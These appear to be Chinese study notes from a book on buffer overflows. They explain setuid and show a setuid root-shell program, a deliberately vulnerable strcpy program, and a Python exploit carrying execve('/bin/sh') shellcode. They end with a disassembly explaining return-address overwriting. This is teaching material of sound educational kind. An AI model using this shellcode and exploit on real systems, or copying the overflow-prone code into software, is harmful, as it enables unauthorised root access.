《黑客攻防技术-系统实战》--利用缓冲区溢出执行任意代码
让普通用户用管理员权限运行程序
原理:
Linux 和 FreeBSD 中有一个用来修改密码的命令“passwd”。 密码一般保存在 /etc/master.passwd、 /etc/passwd 和 /etc/shadow 等中, 没有 root 权限的用户是无法修改这些文件的。
然而, 如果只有 root 才能修改密码, 使用起来就会很不方便, 于是我们需要一个机制让普通用户也能够临时借用管理员权限, 这个机制就是setuid。 setuid 的功能是让用户使用程序的所有者权限来运行程序
实例测试
1 #include <unistd.h> 2 #include <sys/types.h> 3 int main(int argc, char *argv[]) 4 { 5 char *data[2]; 6 char *exe = "/bin/sh"; 7 data[0] = exe; 8 data[1] = NULL; 9 setuid(0); 10 execve(data[0], data, NULL); 11 return 0; 12 }
用 root 权限编译该程序, 然后设置 setuid
gcc -Wall pass.c -o pass
如果可以以root权限进程shell操作,后果也是很严重的
获取root权限
1 #include <stdio.h> 2 #include <string.h> 3 unsigned long get_sp(void) 4 { 5 __asm__("movl %esp, %eax"); 6 } 7 int cpy(char *str) 8 { 9 char buff[64]; 10 printf("0x%08lx", get_sp() + 0x10); 11 getchar(); 12 strcpy(buff, str); 13 return 0; 14 } 15 int main(int argc, char *argv[]){ 16 cpy(argv[1]); 17 return 0; 18 }
1 #!/usr/local/bin/python 2 3 import sys 4 from struct import * 5 if len(sys.argv) != 2: 6 addr = 0x41414141 7 else: 8 addr = int(sys.argv[1], 16) 9 s = "" 10 s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" # 8 11 s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16 12 s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24 13 s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" #32 14 s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40 15 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #48 16 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #56 17 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #64 18 s += "\x90\x90\x90\x90"+pack('<L',addr) #72 19 sys.stdout.write(s)
测试:
sample3.c 的 cpy 函数会将输入的字符串原原本本地复制到一块只有 64字节的内存空间中。 由于字符串是由用户任意输入的, 因此如果将
exploit.py 的输出结果输入给 sample3.c, 我们就成功地以所有者(root)权限运行了 /bin/sh
如何执行任意代码
1 #include <stdio.h> 2 void func(int x, int y, int z) 3 { 4 int a; 5 char buff[8]; 6 } 7 int main(void) 8 { 9 func(1, 2, 3); 10 return 0; 11 }
反汇编:
加-m32
1 .file "sam.c" 2 .text 3 .globl func 4 .type func, @function 5 func: 6 .LFB0: 7 .cfi_startproc 8 endbr32 9 pushl %ebp 10 .cfi_def_cfa_offset 8 11 .cfi_offset 5, -8 12 movl %esp, %ebp 13 .cfi_def_cfa_register 5 14 subl $24, %esp 15 call __x86.get_pc_thunk.ax 16 addl $_GLOBAL_OFFSET_TABLE_, %eax 17 movl %gs:20, %eax 18 movl %eax, -12(%ebp) 19 xorl %eax, %eax 20 nop 21 movl -12(%ebp), %eax 22 xorl %gs:20, %eax 23 je .L2 24 call __stack_chk_fail_local 25 .L2: 26 leave 27 .cfi_restore 5 28 .cfi_def_cfa 4, 4 29 ret 30 .cfi_endproc 31 .LFE0: 32 .size func, .-func 33 .globl main 34 .type main, @function 35 main: 36 .LFB1: 37 .cfi_startproc 38 endbr32 39 leal 4(%esp), %ecx 40 .cfi_def_cfa 1, 0 41 andl $-16, %esp 42 pushl -4(%ecx) 43 pushl %ebp 44 .cfi_escape 0x10,0x5,0x2,0x75,0 45 movl %esp, %ebp 46 pushl %ecx 47 .cfi_escape 0xf,0x3,0x75,0x7c,0x6 48 subl $4, %esp 49 call __x86.get_pc_thunk.ax 50 addl $_GLOBAL_OFFSET_TABLE_, %eax 51 subl $4, %esp 52 pushl $3 53 pushl $2 54 pushl $1 55 call func 56 addl $16, %esp 57 movl $0, %eax 58 movl -4(%ebp), %ecx 59 .cfi_def_cfa 1, 0 60 leave 61 .cfi_restore 5 62 leal -4(%ecx), %esp 63 .cfi_def_cfa 4, 4 64 ret 65 .cfi_endproc 66 .LFE1: 67 .size main, .-main 68 .section .text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat 69 .globl __x86.get_pc_thunk.ax 70 .hidden __x86.get_pc_thunk.ax 71 .type __x86.get_pc_thunk.ax, @function 72 __x86.get_pc_thunk.ax: 73 .LFB2: 74 .cfi_startproc 75 movl (%esp), %eax 76 ret 77 .cfi_endproc 78 .LFE2: 79 .hidden __stack_chk_fail_local 80 .ident "GCC: (Ubuntu 9.3.0-10ubuntu2) 9.3.0" 81 .section .note.GNU-stack,"",@progbits 82 .section .note.gnu.property,"a" 83 .align 4 84 .long 1f - 0f 85 .long 4f - 1f 86 .long 5 87 0: 88 .string "GNU" 89 1: 90 .align 4 91 .long 0xc0000002 92 .long 3f - 2f 93 2: 94 .long 0x3 95 3: 96 .align 4 97 4:
红色标记将参数入栈,然后call 执行fun函数;和 jmp 不同, call 必须记住调用时当前指令的地址, 因此在跳转到子程序的地址之前, 需要先将返回地址(ret_addr) push 到栈中。
当调用 func 函数时, 在跳转到函数起始地址的瞬间, 栈的情形如下图所示
程序又执行了 push ebp, esp 继续递减, 为函数内部的局部变量分配内存空间
如果数据溢出:
数组 buff 后面的 %ebp、 ret_addr 以及传递给 func 函数的参数都会被溢出的数据覆盖掉
ret_addr 存放的是函数逻辑结束后返回 main 函数的目标地址。 如果覆盖了 ret_addr, 攻击者就可以让程序跳转到任意地址。 如果攻击者事先准备一段代码, 然后让程序跳转到这段代码, 也就相当于
成功攻击了“可执行任意代码的漏洞